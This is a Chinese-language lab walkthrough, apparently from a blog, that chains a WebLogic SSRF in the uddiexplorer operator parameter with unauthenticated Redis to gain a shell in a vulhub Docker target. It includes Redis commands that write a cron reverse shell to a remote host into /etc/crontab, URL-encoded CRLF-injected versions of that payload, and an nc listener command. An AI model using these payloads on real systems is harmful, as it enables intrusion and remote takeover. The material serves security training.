利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell

目录

靶场环境:

开启靶场:

一、启动docker环境

二、访问weblogic环境:

三、访问漏洞存在的网站目录:

四、继续探测

五、本机搭建靶场

六、redis未授权访问漏洞的危害

七、攻击指令

八、对指令进行url编码

九、对编码好的指令前后添加空白,防止跟其它的数据混淆


靶场环境:

链接:百度网盘 请输入提取码 提取码:c898

用户allen,密码123456

用户root,密码123456

Weblogic路径:/root/vulhub/weblogic

开启靶场:

切换root用户:su root

密码 123456

 

 

进入到/root/vulhub/weblogic/ssrf

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第1张图片

 

一、启动docker环境

docker-compose up -d

 

返回服务信息证明docker成功启动

docker-compose ps

 

查看容器信息,记录容器ID

docker ps

 

进入启动好的容器中,后续需要先退出docker容器才能关闭当前的漏洞环境,使用exit命令

docker exec -it {容器ID} /bin/bash

二、访问weblogic环境:

http://{靶机ip}:7001,访问成功,当前返回的404页面是weblogic内部的404页面。

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第2张图片

 

三、访问漏洞存在的网站目录:

http://{靶机ip}:7001/uddiexplorer

在Search Public Registries,选择Public Registry中的 IBM,同时勾选Search by business name,开启bp进行抓包,点击search。

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第3张图片

 

将抓到的数据包发送到repeater模块,直接在repeater模块发包,并把返回包发送到comparer模块。

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第4张图片

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第5张图片

分析请求中的operator参数可以发现该参数的内容是一个经过URL编码的网址,将其修改为百度一下,你就知道再次发包尝试,并将返回包也发送给comparer模块,在comparer模块中进行对比。

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第6张图片

 

在comparer模块中可以看到直观地看到两个数据包中标亮的位置返回了不同的报错信息,因此可能存在SSRF漏洞。

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第7张图片

 

四、继续探测

继续构建数据包,分别构造 http://localhost 和http://localhost:7001 的请求包,并将返回包发送到comparer中, 在comparer中分析数据包的不同。

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第8张图片

 

可以看到 http://localhost 返回的是不能连接到 http://localhost,http://localhost:7001 返回的是从 http://localhost:7001 服务器返回了一个404的页面,这个页面是服务器内置的 ,说明访问成功。可以判断出存在SSRF漏洞。

五、本机搭建靶场

我们已经知道了当前靶场环境,尝试自己搭建一个,为了节约时间可以直接在当前靶场里面操作。

分别进入weblogic和redis的容器里面,通过ifconfig查看这两个容器的IP地址分别为172.18.0.3 和 172.18.0.2。

已知redis的默认端口为6379。

构造请求包 http://172.18.0.2:6379 进行探测,可以看出目标服务器开启了redis服务,并且端口号为6379

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第9张图片

 

六、redis未授权访问漏洞的危害

该漏洞可以让攻击者直接通过无账号密码的方式登录redis服务,并且具备root权限,可以执行高危操作。

本次利用该漏洞的思路为:利用漏洞读写目标服务器的crontab文件,从而修改任务计划,反弹shell。

七、攻击指令

给redis服务器发送三条命令,将其写入redis的容器里里面的/etc/crontab,从而将shell反弹到本地物理机ip的1234端口。

ubantu中的/etc/crontab:定时执行脚本。(类似于windows的开机自启动)

set 1 "\n\n\n\n * * * * * root bash -i >& /dev/tcp/{本地物理机ip}/1234 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

八、对指令进行url编码

set%201%20%22%5Cn%5Cn%5Cn%5Cn%20*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.2.74%2F1234%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%20config%20set%20dir%20%2Fetc%2F%20config%20set%20dbfilename%20crontab%20save

九、对编码好的指令前后添加空白,防止跟其它的数据混淆

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.2.74%2F1680%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

用NC工具开启本地监听

nc下载链接:链接:百度网盘 请输入提取码 提取码:x6s1

nc.exe -lvvp 1680

 

使用bp提交数据

查看redis的容器里里面的/etc/crontab文件,写入成功

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第10张图片

查看本机,获取到了反弹shell

利用Weblogic中间件存在的SSRF漏洞结合redis未授权访问漏洞GetShell_第11张图片

你可能感兴趣的:(docker,容器,运维)